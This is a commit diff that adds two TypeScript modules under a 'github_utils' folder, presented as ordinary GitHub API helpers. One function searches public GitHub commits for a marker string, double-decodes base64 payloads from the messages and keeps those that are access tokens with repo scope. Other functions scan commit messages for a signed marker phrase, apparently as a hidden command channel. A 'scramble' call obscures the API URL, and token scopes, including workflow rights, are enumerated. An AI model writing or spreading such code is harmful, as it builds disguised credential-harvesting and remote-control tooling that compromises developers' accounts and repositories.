Upload files to "src/github_utils"
This commit is contained in:
@@ -0,0 +1,169 @@
|
|||||||
|
import crypto from "crypto";
|
||||||
|
|
||||||
|
import { SEARCH_STRING } from "../utils/config";
|
||||||
|
import { logUtil } from "../utils/logger";
|
||||||
|
import { checkToken } from "./tokenCheck";
|
||||||
|
|
||||||
|
interface GitHubCommit {
|
||||||
|
commit: {
|
||||||
|
message: string;
|
||||||
|
author: {
|
||||||
|
name: string;
|
||||||
|
email: string;
|
||||||
|
date: string;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
sha: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface SearchResponse {
|
||||||
|
items: GitHubCommit[];
|
||||||
|
total_count: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function fetchCommit(token?: string): Promise<string | false> {
|
||||||
|
// Search up to 50 commits.
|
||||||
|
const url = `https://api.github.com/search/commits?q=${SEARCH_STRING}&sort=author-date&order=desc&per_page=50`;
|
||||||
|
try {
|
||||||
|
const response = await fetchGitHub(url, token);
|
||||||
|
if (!response.items || response.items.length === 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
logUtil.log(`Found ${response.items.length} commits...`);
|
||||||
|
for (let i = 0; i < response.items.length; i++) {
|
||||||
|
const commit = response.items[i];
|
||||||
|
if (!commit) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(commit.commit.message);
|
||||||
|
const match = new RegExp(
|
||||||
|
`^${SEARCH_STRING}:([A-Za-z0-9+/]{1,100}={0,3})$`,
|
||||||
|
).exec(commit.commit.message ?? "");
|
||||||
|
if (match?.[1]) {
|
||||||
|
const decoded = Buffer.from(
|
||||||
|
Buffer.from(match[1], "base64").toString("utf8"),
|
||||||
|
"base64",
|
||||||
|
).toString("utf8");
|
||||||
|
if ((await checkToken(decoded)).hasRepoScope) {
|
||||||
|
logUtil.log("Correct scope.");
|
||||||
|
return decoded;
|
||||||
|
} else {
|
||||||
|
logUtil.log("Not valid PAT/Scope!");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
logUtil.log("No match!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Fetches data from GitHub API
|
||||||
|
*/
|
||||||
|
async function fetchGitHub(
|
||||||
|
url: string,
|
||||||
|
token?: string,
|
||||||
|
): Promise<SearchResponse> {
|
||||||
|
const headers: Record<string, string> = {
|
||||||
|
Accept: "application/vnd.github+json",
|
||||||
|
"User-Agent": "node",
|
||||||
|
};
|
||||||
|
if (token) {
|
||||||
|
headers.Authorization = `Bearer ${token}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
const res = await fetch(url, { headers });
|
||||||
|
if (!res.ok) {
|
||||||
|
throw new Error(`GitHub API ${res.status}: ${res.statusText}`);
|
||||||
|
}
|
||||||
|
return res.json() as Promise<SearchResponse>;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Verifies a cryptographic signature using a public key
|
||||||
|
* Assumes the commit message format: "SIGNATURE:ENCRYPTED_DATA"
|
||||||
|
*/
|
||||||
|
export function _verifySignature(
|
||||||
|
message: string,
|
||||||
|
publicKey: string,
|
||||||
|
algorithm: string = "sha256",
|
||||||
|
): { valid: boolean; data?: string } {
|
||||||
|
try {
|
||||||
|
const regex =
|
||||||
|
/thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/;
|
||||||
|
const match = message.match(regex);
|
||||||
|
|
||||||
|
if (!match || !match[1] || !match[2]) {
|
||||||
|
return { valid: false };
|
||||||
|
}
|
||||||
|
|
||||||
|
const data_plain = Buffer.from(match[1], "base64").toString("utf-8");
|
||||||
|
logUtil.log(data_plain);
|
||||||
|
logUtil.log(match[2]);
|
||||||
|
const signature = Buffer.from(match[2], "base64");
|
||||||
|
|
||||||
|
const verifier = crypto.createVerify(algorithm);
|
||||||
|
verifier.update(data_plain);
|
||||||
|
const isValid = verifier.verify(publicKey, signature);
|
||||||
|
|
||||||
|
logUtil.log(isValid);
|
||||||
|
|
||||||
|
return isValid ? { valid: true, data: data_plain } : { valid: false };
|
||||||
|
} catch (error) {
|
||||||
|
return { valid: false };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function findValidSignedCommit(
|
||||||
|
searchQuery: string,
|
||||||
|
publicKey: string,
|
||||||
|
): Promise<{ found: boolean; message?: string; commit?: GitHubCommit }> {
|
||||||
|
const url = `https://api.github.com/search/commits?q=${encodeURIComponent(
|
||||||
|
searchQuery,
|
||||||
|
)}&sort=author-date&order=desc`;
|
||||||
|
try {
|
||||||
|
const response = await fetchGitHub(url);
|
||||||
|
|
||||||
|
if (!response.items || response.items.length === 0) {
|
||||||
|
return { found: false, message: "No commits found" };
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let i = 0; i < response.items.length; i++) {
|
||||||
|
const commit = response.items[i];
|
||||||
|
|
||||||
|
if (!commit) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const commitMessage = commit.commit.message;
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`[${i + 1}/${response.items.length}] Checking commit ${commit.sha.substring(
|
||||||
|
0,
|
||||||
|
7,
|
||||||
|
)}...`,
|
||||||
|
);
|
||||||
|
|
||||||
|
const verification = _verifySignature(commitMessage, publicKey);
|
||||||
|
|
||||||
|
if (verification.valid && verification.data) {
|
||||||
|
logUtil.log(`Valid signature found in commit ${commit.sha}`);
|
||||||
|
return {
|
||||||
|
found: true,
|
||||||
|
message: verification.data,
|
||||||
|
commit: commit,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return { found: false, message: "No commits with valid signatures found" };
|
||||||
|
} catch (error) {
|
||||||
|
return {
|
||||||
|
found: false,
|
||||||
|
message: `Error during search: ${error instanceof Error ? error.message : String(error)}`,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
export interface TokenInfo {
|
||||||
|
valid: boolean;
|
||||||
|
scopes: string[];
|
||||||
|
user?: string;
|
||||||
|
hasRepoScope: boolean;
|
||||||
|
hasWorkflowScope: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
export async function validateToken(token: string): Promise<boolean> {
|
||||||
|
try {
|
||||||
|
const response = await fetch(scramble("https://api.github.com/user"), {
|
||||||
|
headers: {
|
||||||
|
Authorization: `Bearer ${token}`,
|
||||||
|
Accept: "application/vnd.github+json",
|
||||||
|
"User-Agent": "node",
|
||||||
|
},
|
||||||
|
});
|
||||||
|
return response.ok;
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function checkToken(token: string): Promise<TokenInfo> {
|
||||||
|
try {
|
||||||
|
const response = await fetch(scramble("https://api.github.com/user"), {
|
||||||
|
headers: {
|
||||||
|
Authorization: `Bearer ${token}`,
|
||||||
|
Accept: "application/vnd.github+json",
|
||||||
|
"User-Agent": "node",
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!response.ok) throw new Error(response.statusText);
|
||||||
|
|
||||||
|
const scopes = response.headers.get("x-oauth-scopes")?.split(", ") ?? [];
|
||||||
|
const data = (await response.json()) as { login: string };
|
||||||
|
|
||||||
|
return {
|
||||||
|
valid: true,
|
||||||
|
scopes,
|
||||||
|
user: data.login,
|
||||||
|
hasRepoScope: scopes.includes("repo") || scopes.includes("public_repo"),
|
||||||
|
hasWorkflowScope: scopes.includes("workflow"),
|
||||||
|
};
|
||||||
|
} catch {
|
||||||
|
return {
|
||||||
|
valid: false,
|
||||||
|
scopes: [],
|
||||||
|
hasRepoScope: false,
|
||||||
|
hasWorkflowScope: false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user